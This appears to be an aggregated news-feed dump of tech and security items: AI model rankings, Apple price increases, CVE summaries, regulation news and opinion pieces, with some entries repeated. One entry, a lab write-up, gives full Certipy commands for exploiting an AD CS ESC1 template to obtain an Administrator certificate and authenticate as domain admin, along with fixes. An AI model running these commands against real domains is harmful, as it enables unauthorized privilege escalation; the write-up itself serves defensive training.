No amount of prompt engineering, semantic reranking, or vector hyperparameter tuning can compensate for a broken ingestion pipeline. If the foundation is compromised, the downstream application will hallucinate, expose unauthorized context, or fail to deliver deterministic value.
Shifting from ad-hoc patching to programmatic guardrails
To break out of the 'Cleanup Trap,' enterprise data teams must stop treating data quality as a post-processing step. They need to treat data readiness for AI with the same rigor they bring to traditional transaction processing.
This requires a deliberate architectural shift toward zero-trust data ingestion, structured validation frameworks, and automated anomaly detection before data ever reaches an AI orchestration layer.
1. Harden the ingestion pipeline
Data quality checks cannot exist as a nightly batch afterthought. If an enterprise AI application relies on real-time data to assist users, validation must happen inline.
Teams should implement explicit schema validation checks at the earliest ingestion point, such as the streaming ingress layer or the bronze landing layer of a medallion architecture. If an upstream operational database mutates a schema without warning, the pipeline should quarantine anomalous payloads rather than allowing corrupted metadata to pollute downstream AI contexts.
2. Use multi-tiered algorithmic validation
Static row-count validation rules are insufficient for AI readiness. True data health requires a multi-tiered approach.
This means pairing structural verification — null checks, type conformance, and schema validation — with statistical profiling to monitor for data drift. Tracking metric deviations across feature distributions helps ensure that historical context remains stable over time.
If a pipeline suddenly processes an unexpected spike in empty string variables or structurally deviant fields, automated alerts should trigger an immediate pause before vector database updates continue.
3. Decouple security and compliancemfrom the model
An LLM should never be the arbiter of data access control. Trying to enforce row-level security or personal data filtering through system prompts is a compliance risk.
Security must be managed within the data infrastructure tier. Enterprise data foundations should enforce strict access controls, tokenization of sensitive identifiers, and rigorous lineage tracing before information is indexed into vector stores or passed into an agent’s context window.
Technical alignment: A pragmatic blueprint
For technology leaders mapping their infrastructure roadmaps, AI readiness requires evaluating data pipelines against a strict operational checklist.
Can you trace a flawed AI response back to the exact pipeline execution, source record, and transformation step that produced it?
Does your data lake architecture have a programmatic mechanism to segment and quarantine corrupted or non-compliant data before it reaches production feature stores?
Are your operational systems and AI-facing vector databases tightly synchronized, or are your agents making automated decisions based on outdated snapshots?
These questions matter because production AI is not just a model deployment problem. It is a data reliability problem.
Building for the production era
The honeymoon phase of gen AI experimentation is ending. Enterprise leaders are demanding measurable, predictable, and secure business outcomes from their AI investments.
If an organization wants to transition from isolated, impressive-looking demos to resilient, production-grade AI systems, it must redirect its focus. Stop looking exclusively at the model tier.
The real competitive differentiator is not only the LLM an organization chooses. It is the engineering discipline, data governance, and pipeline resilience of the infrastructure built to feed it.
In the production era of AI, data engineering is no longer a backend function. It is the control plane for enterprise intelligence.
Naveen Ayalla is a senior data engineer. 


Moonshot's Kimi K3 outperforms Fable 5 in frontend code but lags far behind in complex math
Sun, 19 Jul 2026 11:48:35 +0200

        Moonshot's Kimi K3 is the first Chinese model to top the Code Arena: Frontend rankings, beating Claude Fable 5 and GPT-5.6 Sol by a wide margin. But on advanced math, the gap is stark: Kimi K3 scores only about 39 percent on FrontierMath Tier 4, while models from OpenAI and Anthropic hit close to 90.
The article Moonshot's Kimi K3 outperforms Fable 5 in frontend code but lags far behind in complex math appeared first on The Decoder.


Apple Raises iCloud+ Prices in Japan, Nigeria, Türkiye, and Other Countries
Sun, 19 Jul 2026 10:09:31 +0200
Apple has raised iCloud+ subscription prices across several countries, including Japan, Nigeria, Türkiye, Egypt, New Zealand, Indonesia, the Philippines, and Vietnam. The latest changes affect every paid storage tier in most of these markets, covering plans from 50GB to 12TB.



The new iCloud+ prices arrive during a wider series of Apple price increases across hardware and subscription services. Apple recently raised Apple Music and Apple One prices in the United States and other markets, while customers in Japan also saw higher iPhone prices.



Apple has also increased prices for some MacBook, iPad, and other hardware models following rising component and memory costs. The new iCloud+ pricing means customers in affected countries will now pay more each month for additional cloud storage, iCloud Private Relay, Hide My Email, custom email domains, and HomeKit Secure Video support.



New iCloud+ prices in affected countries



Apple has updated iCloud+ prices across eight major markets, although the size of the increase differs by country and storage plan.



Egypt



Customers in Egypt will now pay the following monthly prices:




50GB: EGP 49.99, up from EGP 39.99



200GB: EGP 179.99, up from EGP 149.99



2TB: EGP 599.99, up from EGP 499.99



6TB: EGP 1,799.99, up from EGP 1,499.99



12TB: EGP 3,599.99, up from EGP 2,999.99




Nigeria



Apple has introduced some of the largest increases in Nigeria, with several plans now costing around 50% more than before:




50GB: ₦1,300, up from ₦900



200GB: ₦4,500, up from ₦2,900



2TB: ₦14,900, up from ₦9,900



6TB: ₦39,900, up from ₦26,900



12TB: ₦66,900, up from ₦44,900




Türkiye



iCloud+ users in Türkiye will also see higher monthly charges across every storage tier:




50GB: 49.99 TL, up from 39.99 TL



200GB: 169.99 TL, up from 129.99 TL



2TB: 549.99 TL, up from 399.99 TL



6TB: 1,699.99 TL, up from 1,299.99 TL



12TB: 3,399.99 TL, up from 2,499.99 TL




Indonesia



The entry-level 50GB plan remains unchanged in Indonesia, although Apple has increased the prices of every larger storage option:




50GB: Rp15,000, unchanged



200GB: Rp59,000, up from Rp49,000



2TB: Rp199,000, up from Rp169,000



6TB: Rp599,000, up from Rp499,000



12TB: Rp1,199,000, up from Rp999,000




Japan



Apple has raised all five iCloud+ storage prices in Japan after recently increasing iPhone prices in the country:




50GB: ¥180, up from ¥150



200GB: ¥540, up from ¥450



2TB: ¥1,800, up from ¥1,500



6TB: ¥5,500, up from ¥4,500



12TB: ¥11,000, up from ¥9,000




New Zealand



Customers in New Zealand will now pay between NZ$1.99 and NZ$119.99 each month, depending on their selected storage tier:




50GB: NZ$1.99, up from NZ$1.69



200GB: NZ$5.99, up from NZ$4.99



2TB: NZ$19.99, up from NZ$16.99



6TB: NZ$59.99, up from NZ$49.99



12TB: NZ$119.99, up from NZ$99.99




Philippines



Apple has increased each iCloud+ storage plan in the Philippines, with the 12TB option now costing ₱3,990 per month:




50GB: ₱59, up from ₱49



200GB: ₱199, up from ₱179



2TB: ₱699, up from ₱599



6TB: ₱1,990, up from ₱1,790



12TB: ₱3,990, up from ₱3,590




Vietnam



Vietnamese customers will also see higher prices across the entire iCloud+ lineup:




50GB: ₫25,000, up from ₫19,000



200GB: ₫89,000, up from ₫69,000



2TB: ₫299,000, up from ₫249,000



6TB: ₫899,000, up from ₫749,000



12TB: ₫1,799,000, up from ₫1,499,000




Apple adds USD pricing in three more regions



Apple now lists Laos, Mauritius, and the Republic of Congo among the countries where customers pay for iCloud+ upgrades in US dollars. Apple says the final amount can be slightly higher because of local Value Added Tax charges.



Customers in Mauritius and the Republic of Congo will pay the same monthly prices:




50GB: $1.19



200GB: $3.49



2TB: $11.99



6TB: $34.99



12TB: $69.99




Customers in Laos will pay slightly lower prices across all five storage plans:




50GB: $0.99



200GB: $3.29



2TB: $10.99



6TB: $32.99



12TB: $64.99




The changes apply to iCloud+ plans that provide additional storage beyond the free 5GB included with every Apple Account. Customers can check their current plan and local pricing through the iCloud section in the Settings app on an iPhone or iPad.



Users who no longer need their existing storage tier can switch to a smaller plan, although they must reduce their stored data before the downgrade takes effect. Apple also allows iCloud+ storage sharing through Family Sharing, which can help families avoid paying for separate plans.


CVE-2026-49835 | sigstore timestamp-authority up to 2.0.x Middleware random values (Nessus ID 327768)
Sun, 19 Jul 2026 04:53:46 +0200
A vulnerability, which was classified as problematic, was found in sigstore timestamp-authority up to 2.0.x. Affected is an unknown function of the component Middleware. Executing a manipulation can lead to insufficiently random values.

This vulnerability is handled as CVE-2026-49835. The attack can be executed remotely. There is not any exploit available.


France Orders ISPs to Block Access to Polymarket
Sun, 19 Jul 2026 02:38:02 +0200
France's regulatory authority for licensed gambling/betting games "announced this week that it ordered ISPs to block access to Polymarket," reports Engadget. Anyone caught advertising an unauthorized betting site "could be fined up to 100,000 euros, or around $114,000." (The article notes this follows a previous regulatory action from November placing a geoblock on financial transactions from French residents on Polymarket's site.) 


In May Spain blocked access to Polymarket and Kalshi while it launched a gambling license investigation.






Read more of this story at Slashdot.


France doubles down on restricting access to Polymarket
Sat, 18 Jul 2026 21:47:19 +0200
The country's gambling authority ordered ISPs to block access to the prediction market's website.


Controlling Drones with Satellites (emf2026)
Sat, 18 Jul 2026 15:03:11 +0200
Ownership and usage of drones has skyrocketed over recent years, with the US Federal Aviation Administration (FAA) estimating that 8% of people in the US own a drone (nearly 27 million people) and the UK Civil Aviation Authority stating that there are over 500,000 drones registered in the UK for commercial or recreational use. At the same time, satellite usage for all kinds of purposes has also increased drastically — most famously with the introduction of Starlink broadband services which has approximately 10 million users worldwide.
Both of these have become hot topics within industry with all kinds of new start-ups, technologies, innovations, etc. being revealed constantly. So, what would happen if we mushed them together?
In this talk I’ll explore the technical details of a number of existing satellite communication (SATCOM) systems, how these technical details play into controlling drones, the fundamental problems of controlling drones with satellites, and some potential solutions for these problems; ideally without making it out of the reach of those who aren’t as rich as Jeff Bezos!

Licensed to the public under https://creativecommons.org/licenses/by-sa/4.0/
about this event: https://www.emfcamp.org/schedule/2026/243-controlling-drones-with-satellites


Controlling Drones with Satellites (emf2026)
Sat, 18 Jul 2026 13:48:02 +0200
Ownership and usage of drones has skyrocketed over recent years, with the US Federal Aviation Administration (FAA) estimating that 8% of people in the US own a drone (nearly 27 million people) and the UK Civil Aviation Authority stating that there are over 500,000 drones registered in the UK for commercial or recreational use. At the same time, satellite usage for all kinds of purposes has also increased drastically — most famously with the introduction of Starlink broadband services which has approximately 10 million users worldwide.
Both of these have become hot topics within industry with all kinds of new start-ups, technologies, innovations, etc. being revealed constantly. So, what would happen if we mushed them together?
In this talk I’ll explore the technical details of a number of existing satellite communication (SATCOM) systems, how these technical details play into controlling drones, the fundamental problems of controlling drones with satellites, and some potential solutions for these problems; ideally without making it out of the reach of those who aren’t as rich as Jeff Bezos!

Licensed to the public under https://creativecommons.org/licenses/by-sa/4.0/
about this event: https://www.emfcamp.org/schedule/2026/243-controlling-drones-with-satellites


CVE-2026-54470 | Dell Unisphere for PowerMax up to 10.3.0.5 XML Parser xml external entity reference
Sat, 18 Jul 2026 13:09:17 +0200
A vulnerability labeled as critical has been found in Dell Unisphere for PowerMax up to 10.3.0.5. This affects an unknown part of the component XML Parser. The manipulation results in xml external entity reference.

This vulnerability was named CVE-2026-54470. The attack may be performed from remote. There is no available exploit.


How I Escalated to Domain Admin Using AD CS (And How to Fix It)
Sat, 18 Jul 2026 11:39:17 +0200
What is AD CS?
Active Directory Certificate Services (AD CS) allows users and computers to obtain certificates for authentication, encryption, and other services.
If certificate templates are misconfigured, attackers can request certificates for other users, including Domain Administrators, leading to privilege escalation.
In this lab, I exploited an ESC1 certificate template misconfiguration.
Lab Setup
Domain: LAB.LOCAL
Domain Controller: 192.168.56.104
Certificate Authority: lab-DC1-CA
Attacker: bob
Step 1 — Enumerate AD CS
First, I looked for vulnerable certificate templates using Certipy.
certipy-ad find -u bob@lab.local -p 'password@123' -dc-ip 192.168.56.104 -dc-host DC1.lab.local -target DC1.lab.local -ldap-scheme ldap -vulnerable -debug
Certipy identified a vulnerable template named:
ESC1-Lab
This template allowed the requester to specify an arbitrary User Principal Name (UPN).
Step 2 — Request an Administrator Certificate
Since the template was vulnerable, I requested a certificate while impersonating the Administrator account.
certipy-ad req -u bob@lab.local -p 'Password@123' -ca lab-DC1-CA -template ESC1-Lab -upn Administrator@lab.local -dc-ip 192.168.56.104
Certipy successfully issued an Administrator certificate and saved it as:
administrator.pfx
Step 3 — Authenticate as Administrator
Finally, I authenticated using the issued certificate.
certipy-ad auth -pfx administrator.pfx -dc-ip 192.168.56.104
Authentication succeeded, allowing me to impersonate the Domain Administrator without ever knowing the Administrator’s password.
Why Did This Work?
The certificate template was vulnerable to ESC1 because it:
Allowed users to enroll.
Allowed the requester to supply any UPN.
Was trusted for client authentication.
This meant Bob could request a certificate for Administrator@lab.local and authenticate as that user.
How to Fix It
To prevent ESC1 attacks:
1.Disable “Supply in the request” unless absolutely necessary.
2. Restrict enrollment permissions to trusted users.
3. Review certificate templates regularly.
4. Remove unnecessary Client Authentication EKUs.
5. Audit AD CS with tools like Certipy and BloodHound.
Verify the Fix
Run the enumeration again.
certipy-ad find -u bob@lab.local -p 'password@123' -dc-ip 192.168.56.104 -vulnerable
If the template is properly secured, ESC1-Lab should no longer appear as vulnerable.
Key Takeaways
1. Regularly audit AD CS templates.
2. Follow the principle of least privilege.
3. Restrict certificate enrollment permissions.
4. Monitor certificate enrollment events.
Disclaimer: This article is part of my Active Directory Lab Series. All demonstrations were performed in my self-hosted GOAD lab for educational and defensive purposes. Never perform these techniques on systems without proper authorization.
— Written by
Aruvasaga Chithan A
Ethical Hacker & Cyber Security Researcher.
Thanks for reading — your support keeps me writing.
See you in the next article…
Linkedin.
How I Escalated to Domain Admin Using AD CS (And How to Fix It) was originally published in InfoSec Write-ups on Medium, where people are continuing the conversation by highlighting and responding to this story.


Sicher laden ohne Datenübertragung
Sat, 18 Jul 2026 11:15:27 +0200
Sicher laden ohne Datenübertragung

      
      
        
          
            
                



            
          
        
              
    
  Lars Nitsch
Sa., 18.07.2026 - 07:00


            Öffentliche USB-Ladeanschlüsse in Flughäfen, Hotels oder Konferenzzentren sind praktisch, stellen aber grundsätzlich auch eine potenzielle Schnittstelle für Datenübertragungen dar. Das USB-A to USB-C Data Blocker Cable von PortaPow kappt die Datenleitungen im Kabel und überträgt ausschließlich Strom. So lassen sich mobile Geräte laden, ohne eine USB-Datenverbindung aufzubauen.
      
    
          Tipps & Tools
      
  
    Weiterlesen über Sicher laden ohne Datenübertragung
  


CVE-2026-14979 | IBM Engineering Lifecycle Management up to 7.2.0 XML xml external entity reference (EUVD-2026-45300)
Sat, 18 Jul 2026 01:09:26 +0200
A vulnerability labeled as critical has been found in IBM Engineering Lifecycle Management up to 7.2.0. Impacted is an unknown function of the component XML Handler. The manipulation results in xml external entity reference.

This vulnerability is identified as CVE-2026-14979. The attack can be executed remotely. There is not any exploit available.


Xi Vows to Make AI for All in Debut at China's Top Tech Summit
Sat, 18 Jul 2026 00:05:16 +0200
Xi Jinping used his first appearance at China's World AI Conference to promote a vision of low-cost, broadly accessible AI and call for international cooperation rather than technological rivalry. "AI development should not be a solo performance by a single country, but a symphony of international cooperation," he said. Bloomberg reports: His presence at the gathering, attended by scores of tech and government leaders, conveys a potent signal of China's ambitions to dominate a technological sphere with the potential to revolutionize industry and economies -- an effort that's shot to the top of the nation's agenda. Chinese models are winning over companies worldwide, with their share of US firms' AI usage nearing a record 60% on the popular marketplace OpenRouter.
 
Behind the rhetoric, Beijing is grappling with the balance between openness and national security as models grow more capable. Chinese officials recently discussed with companies including Alibaba -- developer of the popular Qwen models -- how to mitigate the security risks posed by their increasingly powerful models, people familiar with the matter said. The talks are early, with no enforcement planned, but restricting foreign access to top models was among the options raised, the people said. Reuters previously reported that Beijing was weighing curbs on overseas access. Earlier today, the Beijing-based AI company "Moonshot" released a massive new model that reset the AI race overnight, immediately vaulting into the top tier of global AI, beating Anthropic's Fable 5 and OpenAI's GPT-5.6 Sol in front-end coding tests.






Read more of this story at Slashdot.


Seven Malicious Vite npm Packages Use Blockchain C2 to Deliver a RAT
Fri, 17 Jul 2026 21:23:23 +0200
Cybersecurity researchers have discovered a cluster of seven malicious npm packages targeting the Vite frontend tooling ecosystem as part of a software supply chain attack.

The malicious package campaign, codenamed ViteVenom by Checkmarx, marks an expansion of ChainVeil, which was observed using an "unprecedented" four-tier blockchain-based command-and-control (C2) infrastructure spanning Tron,


China Just Erased America's AI Lead
Fri, 17 Jul 2026 21:05:54 +0200
Longtime Slashdot reader schwit1 shares a report from Axios: Kimi K3, a massive new model by Beijing-based Moonshot AI, threatens the foundations of Americas AI boom. Its release Thursday dazzled developers, jolted Silicon Valley and reset the AI race overnight. Kimi immediately vaulted into the top tier of global AI, beating Anthropics Fable 5 and OpenAIs GPT-5.6 Sol in front-end coding tests by AI evaluator Arena.
 
In Arenas broader text ranking, Kimi finished ahead of Anthropics Opus 4.8 -- the company's flagship model until Fable 5 arrived in June -- while costing 40% less. Unlike the premium U.S. models its challenging, Moonshot plans to release Kimi as an open-weight model on July 27 -- allowing companies and governments to customize and run it on their own systems.
 
Kimi's arrival suggests that cushion may have collapsed far faster than expected. "The entire game has changed. I expect this will trigger some code red for some," AI analyst Kim Isenberg predicted. For companies, governments and developers, a model that performs near the frontier, costs 40% less and can be customized or run in-house may be the more attractive option. Its very existence puts pressure on the pricing power of U.S. labs, the enormous valuations built around their technological edge, and the case for spending hundreds of billions of dollars on ever-larger data centers.






Read more of this story at Slashdot.


Apple Music gets first U.S. price hike in four years
Fri, 17 Jul 2026 20:23:43 +0200
Apple Music is raising U.S. subscription prices for the first time since 2022, increasing every paid tier and hitting family subscribers with the largest jump.

Apple Music raises prices

The Apple Music Individual plan now costs $11.99 per month, up from $10.99. The Family plan rose from $16.99 to $19.99 per month and continues to support as many as six people through Family Sharing.

Verified college students will pay $6.99 per month, up from $5.99. The Student plan includes the full Apple Music service and access to Apple TV at no additional cost.

The increases add $12 per year to the Individual and Student plans. A Family subscription will cost $36 more annually, bringing the total to $239.88 per year.


 Continue Reading on AppleInsider | Discuss on our Forums


OnlyFans performers become unlikely allies of CISOs in securing websites
Fri, 17 Jul 2026 20:03:02 +0200

		
					  
						




CISOs at government organizations and universities have an unexpected ally coming to their aid: OnlyFans models.



For some time, hackers have exploited weaknesses in the websites of universities or government departments to host scams or malware, using content stolen from the OnlyFans website as bait to attract victims.



Now, according to security researchers at Upguard, the fightback has begun: creators of adult content on OnlyFans are leveraging Google search results and the protection offered by copyright law to break up the traffic distribution systems created by bad actors.



These distribution systems work in three stages: entry points using adult or other content to attract and capture web traffic, a routing system sends it to destination sites, and those sites monetize the traffic through scams and malware. It has proved to be a lucrative business for the scammers.



Google recognizes the approach and calls such actors SEO parasites as they benefit from the reputations of other organizations — in particular government or academic sites, which Google views as having high authority.



Since the creators of OnlyFans content are also the copyright holders, they are able to issue Digital Millennium Copyright Act (DMCA) take-down notices for the stolen content posted by the bad actors to other sites. Upguard was able to track this through Google’s DMCA Transparency Report, and through the Lumen Database, another tracker of takedown notices, to which it was granted research access.



“This allows us to identify likely compromised sites: government and university domains advertising unlicensed adult content,” Upguard said.



The OnlyFans creators’ action has two benefits for the operators of the affected websites: The adult content associated with their domain disappears from Google search results, no longer affecting their reputation — and if they receive takedown notices for such content they can check their webservers for the vulnerabilities that enabled the bad actors to post it there in the first place.



This article first appeared on CSO.



OnlyFans performers become unlikely allies of CISOs in securing websites
Fri, 17 Jul 2026 19:38:51 +0200

		
					  
						




CISOs at government organizations and universities have an unexpected ally coming to their aid: OnlyFans models.



For some time, hackers have exploited weaknesses in the websites of universities or government departments to host scams or malware, using content stolen from the OnlyFans website as bait to attract victims.



Now, according to security researchers at Upguard, the fightback has begun: creators of adult content on OnlyFans are leveraging Google search results and the protection offered by copyright law to break up the traffic distribution systems created by bad actors.



These distribution systems work in three stages: entry points using adult or other content to attract and capture web traffic, a routing system sends it to destination sites, and those sites monetize the traffic through scams and malware. It has proved to be a lucrative business for the scammers.



Google recognizes the approach and calls such actors SEO parasites as they benefit from the reputations of other organizations — in particular government or academic sites, which Google views as having high authority.



Since the creators of OnlyFans content are also the copyright holders, they are able to issue Digital Millennium Copyright Act (DMCA) take-down notices for the stolen content posted by the bad actors to other sites. Upguard was able to track this through Google’s DMCA Transparency Report, and through the Lumen Database, another tracker of takedown notices, to which it was granted research access.



“This allows us to identify likely compromised sites: government and university domains advertising unlicensed adult content,” Upguard said.



The OnlyFans creators’ action has two benefits for the operators of the affected websites: The adult content associated with their domain disappears from Google search results, no longer affecting their reputation — and if they receive takedown notices for such content they can check their webservers for the vulnerabilities that enabled the bad actors to post it there in the first place.



TRAI Seeks IT Act Powers to Act Against Spam-Tagging Apps Like Truecaller
Fri, 17 Jul 2026 19:25:14 +0200
  The Telecom Regulatory Authority of India (TRAI) seeks new powers in the Information Technology (IT) Act to take action against call management apps, including Truecaller, Hiya, and Whoscall, for marking or blocking legitimate commercial calls as spam. The regulator…
Read more →
The post TRAI Seeks IT Act Powers to Act Against Spam-Tagging Apps Like Truecaller appeared first on IT Security News.


CVE-2026-51080 | Proxmox libpvestorage-perl/libpve-storage-perl 8.3.7/9.1.1 XML xml external entity reference
Fri, 17 Jul 2026 17:24:09 +0200
A vulnerability marked as critical has been reported in Proxmox libpvestorage-perl and libpve-storage-perl 8.3.7/9.1.1. This impacts an unknown function of the component XML. The manipulation leads to xml external entity reference.

This vulnerability is uniquely identified as CVE-2026-51080. The attack is possible to be carried out remotely. No exploit exists.


Italy fines Wind Tre $2 million for data breaches affecting 365k customers
Fri, 17 Jul 2026 17:10:28 +0200
Italy's data protection authority (Garante per la Protezione dei Dati Personali) has fined telecommunications provider Wind Tre €1.715 million (approximately $2 million) after finding serious security shortcomings that led to two data breaches affecting more than 365,000 customers. The decision follows an investigation launched after Wind Tre disclosed the incidents in February 2025. According to …
The post Italy fines Wind Tre $2 million for data breaches affecting 365k customers appeared first on CyberInsider.


KI und Suche: EU zwingt Google zur Öffnung
Fri, 17 Jul 2026 16:00:28 +0200
KI und Suche: EU zwingt Google zur Öffnung

      
      
        
          
            
                



            
          
        
              
    
  Daniel Richey
Fr., 17.07.2026 - 15:50


            Google muss seine Android-Plattform und seine Suchdaten stärker für die Konkurrenz öffnen. Die EU-Kommission hat dazu zwei verbindliche Maßnahmen erlassen – mit klaren Fristen bis 2027.
      
    
          News
      
  
    Weiterlesen über KI und Suche: EU zwingt Google zur Öffnung
  


China creates World AI body with Russia and 27 others, but without US
Fri, 17 Jul 2026 15:38:08 +0200

		
					  
						




China has created an international organization to set standards and introduce regulation for AI, inviting 28 other countries to join — but the US, a leading AI powerhouse is not part it.



The World Artificial Intelligence Cooperation Organization (WAICO) was established by 29 countries, including China, Russia and Brazil, at a ceremony in Shanghai, China, on July 16. Notably absent are the US, the European Union and its member states, the UK, Japan and South Korea.



Chinese AI companies have made a concerted effort to provide an alternative to US dominance. While the US is clearly ahead, Chinese enterprises are looking to narrow the gap in various areas: the open-weight model market, AI cyber protection and open source AI.



WAICO has been some years in development and has been designed to set some universal guidelines in AI. Researchers say WAICO differs in three ways from other initiatives to create global AI organizations: membership open to any sovereign state, there is no regime-type test for entry, and its agenda is built around development and the global capability divide.



The signing ceremony to create WAICO comes just days after Demis Hassabis, CEO of Google DeepMind, called on the US to take a lead in global AI regulation. “The US is well-positioned to take the first step in developing such a framework. It could establish a new Standards Body modelled on a federally overseen public-private partnership or self-regulatory organization, much like the Financial Industry Regulatory Authority (FINRA), with a board that includes independent leading technical experts and open-source representatives,” Hassabis wrote.



This article first appeared on Computerworld.



China, Russia, and 27 others create World AI body, without US
Fri, 17 Jul 2026 15:32:58 +0200

		
					  
						




China has created an international organization to set standards and introduce regulation for AI, inviting 28 other countries to join — but the US, a leading AI powerhouse is not part it.



The World Artificial Intelligence Cooperation Organization (WAICO) was established by 29 countries, including China, Russia and Brazil, at a ceremony in Shanghai, China, on July 16. Notably absent are the US, the European Union and its member states, the UK, Japan and South Korea.



Chinese AI companies have made a concerted effort to provide an alternative to US dominance. While the US is clearly ahead, Chinese enterprises are looking to narrow the gap in various areas: the open-weight model market, AI cyber protection and open source AI.



WAICO has been some years in development and has been designed to set some universal guidelines in AI. Researchers say WAICO differs in three ways from other initiatives to create global AI organizations: membership open to any sovereign state, there is no regime-type test for entry, and its agenda is built around development and the global capability divide.



The signing ceremony to create WAICO comes just days after Demis Hassabis, CEO of Google DeepMind, called on the US to take a lead in global AI regulation. “The US is well-positioned to take the first step in developing such a framework. It could establish a new Standards Body modelled on a federally overseen public-private partnership or self-regulatory organization, much like the Financial Industry Regulatory Authority (FINRA), with a board that includes independent leading technical experts and open-source representatives,” Hassabis wrote.







The last human relationship in cybersecurity
Fri, 17 Jul 2026 14:03:27 +0200

		
					  
						




We are inundated with promises that artificial intelligence will save us and that the next governance framework will protect us. Buy this platform, adopt that model and the hard part finally gets easier. After 15 years in this field, I have wanted that shortcut as much as anyone.



But both promises are downstream of something neither one can produce. You cannot automate trust between two people. You cannot govern your way to a relationship. As AI moves into the core of how organizations operate, and accountability stops mapping cleanly to the org chart, what holds when the stakes are highest is not the platform or the policy. It is two human leaders who know each other well enough to carry the weight together.



I think about this often now, a year after publishing a book about the pressures bearing down on security leaders, “The CISO On The Razor’s Edge: Leading Cybersecurity When The System Is Designed To Break.” The partnership between the CIO and the CISO is the last human relationship in cybersecurity. AI raises the stakes. Governance sets the floor. The relationship is what holds.



I saw it work once, up close. When I worked in Washington State, the CIO, Bill Kehoe, talked to his CISO, Ralph Johnson, every day. Weekends included. Not because a policy required it, but because the mission did. That partnership is a large part of why the role stayed sustainable for them when it broke so many others.



The promise we keep believing



Walk any conference floor and you will hear the same pitch in a hundred variations. The next AI layer will close the gap. The next framework will lock down the risk. The technology is usually ready. The organization is not. I have watched too many well-funded programs stall to still believe the tool is the answer, and almost every time, the breakdown traced back to leaders who were not aligned before the work began. A framework run by misaligned leaders inherits the misalignment. You can buy the best controls on the market and still watch them fail when two leaders work from different assumptions about who owns what.



Bill and Ralph understood this. Security decisions were not handed to Ralph after the fact to bless or block. They were made with him, inside the technology decisions, because the two had already agreed on what mattered. That is not governance. That is leadership creating the conditions in which governance can work.



It is the real lesson I came to in the book. Technical knowledge matters, but it is not enough. As I wrote then, “Influence, trust and internal relationships are non-negotiable.” Without influence, CISOs cannot lead. Without technical substance, they cannot prioritize what matters. And without partnership, especially with their CIO, “they’re operating without a safety net.”



AI does not change that truth. It raises the cost of ignoring it.



When decisions move at machine speed



The ground under both roles is shifting. Work no longer flows through people alone. It moves across people, platforms, partners and agents at the same time, and it moves fast. Decisions that once waited for a meeting now form in seconds. The org chart, built for an era when humans did the work and reporting lines explained accountability, struggles to keep up.



This is where the partnership stops being a nicety and becomes infrastructure. When decisions form at machine speed, the human escalation path has to be instant. There is no time to negotiate a relationship in the middle of an incident. Either the trust is already there, built in the quiet stretches before anything goes wrong, or it is not there when it counts.



I asked Bill what he would lose if his daily calls with Ralph dropped to once a week. His answer cut straight to it.



“Cyber does not rest,” he told me. “It is active and dynamic and requires 24/7/365 attention.” Drop to a weekly check-in, he explained, and “I am treating the CISO like any other executive position.” For Bill, AI only raises the stakes on that daily contact. “Relationships and partnerships between the CIO and CISO will never die due to AI,” he said. “I can’t even imagine a scenario where I don’t talk to my CISO on a daily basis including weekends to discuss the latest risks and vulnerabilities or news on potential AI attacks.”



That is the point most of the market misses. A platform can flag the anomaly. It cannot decide what the organization is willing to risk, who carries that decision or how two leaders stand behind it together. The faster the machines move, the more the partnership has to already be in place.



The loneliest seat in the building



There is a reason some now call the CISO job the least desirable role in business. The seat carries enormous accountability and rarely the authority to match. As one security leader put it, the pressure has never been higher and the control has never felt lower. People are burning out and walking away from a role that has never mattered more.



Here is the hard part. There is no log file for burnout. No alert fires when the weight finally exceeds the leader. That drain is invisible right up until it is not, and it raises organizational risk as surely as any unpatched system. The structural fixes the industry debates are all real and all slow.



The fastest source of relief available to a CISO is not a framework. It is a CIO who treats the relationship as a daily partnership rather than a line on a chart. An isolated CISO is a vulnerability. A partnered one is an asset.



You see what that partnership is worth in the worst moment. I asked Bill what it looks like when an incident hits and public trust is on the line. He did not reach for a tool.



“I am accountable as CIO to everything that occurs in the state from a technology lens including cyber,” he said. When a severe incident hits, the call comes to him from agency leadership or the Governor’s Office. Then he follows the plan, but never alone: “I will be in constant contact with the CISO on the details of the incident.”



That is the safety net made real. The CISO is not carrying the mission alone at the moment it matters most. On the razor’s edge, leadership keeps you upright. Partnership keeps you in the fight.



The work no tool will do for you



In my advisory work, I sit with C-suite leaders who share values and still cannot find alignment. The barrier is rarely disagreement. It is that they are not communicating clearly or often enough to build the trust that alignment requires. I have watched negotiations that could only happen by proxy, over email, because two capable leaders had stopped talking directly.



I recently sat in an hour-long discussion where alignment and shared values were present the whole time. It did not become clear until the final fifteen minutes. That is what real alignment costs: patience, persistence and a stubborn commitment to clarity. If leaders cannot do that work themselves, no AI model or governance tool will do it for them.



This is why I stand up an AI review board for the organizations I work with and host the leadership conversations that decide whether a company’s AI ambitions thrive or stall. The board itself matters less than what it provides: neutral ground, a regular cadence and an agenda that forces the hard issues into the open before a crisis forces them. If your organization has no venue like that, that absence is its own form of dysfunction. The cadence is what makes communication effective. Not easy. Effective.



Build the bond on purpose



You cannot framework your way to trust. But you can build it deliberately, and that is a leadership act, not a governance one. The partnership and stakeholdering skills that once looked like soft extras are now the core executive work. A few moves matter most:




Set a standing contact rhythm with your counterpart before you need one, daily or near-daily, not quarterly



Make decision rights and accountability explicit while it is calm, so no one improvises them mid-incident



Translate security into business outcomes together, so the board hears one aligned voice




Build the relationship as deliberately as you would build any critical control, because that is what it is. If you cannot connect the partnership to outcomes the business actually feels, you have a friendship, not a performance lever.



A year after writing “The CISO On the Razor’s Edge,” I am even more convinced that strong leadership precedes effective governance and partnership precedes them both. This is the good news, not the hard news. The CIO and CISO who build real trust do not just reduce risk. They move faster than their competitors, because they spend no energy fighting each other. They earn the board’s confidence, because the board hears one clear voice. And they unlock the AI strategy everyone else is still struggling to govern, because they have already done the human work that makes governance hold.



That is the upside waiting on the other side of this relationship. AI will keep advancing. Governance will keep maturing. But the organizations that win the next decade will be the ones where two leaders decided the partnership was worth building before they needed it. Bill and Ralph knew it every day, weekends included. The edge is there for anyone willing to do the same.



This article is published as part of the Foundry Expert Contributor Network.
Want to join?



Scammers weaponize FaceTime to drain bank accounts
Fri, 17 Jul 2026 13:23:06 +0200
Apple is warning iPhone and iPad users that scammers are using FaceTime calls to trick them into handing over money and account details. The company says scammers use social engineering, posing as representatives of a trusted company or entity, and…
Read more →
The post Scammers weaponize FaceTime to drain bank accounts appeared first on IT Security News.


Mozilla Privacy Blog: Beyond technical fixes: Protecting kids online without breaking the internet
Fri, 17 Jul 2026 13:10:44 +0200
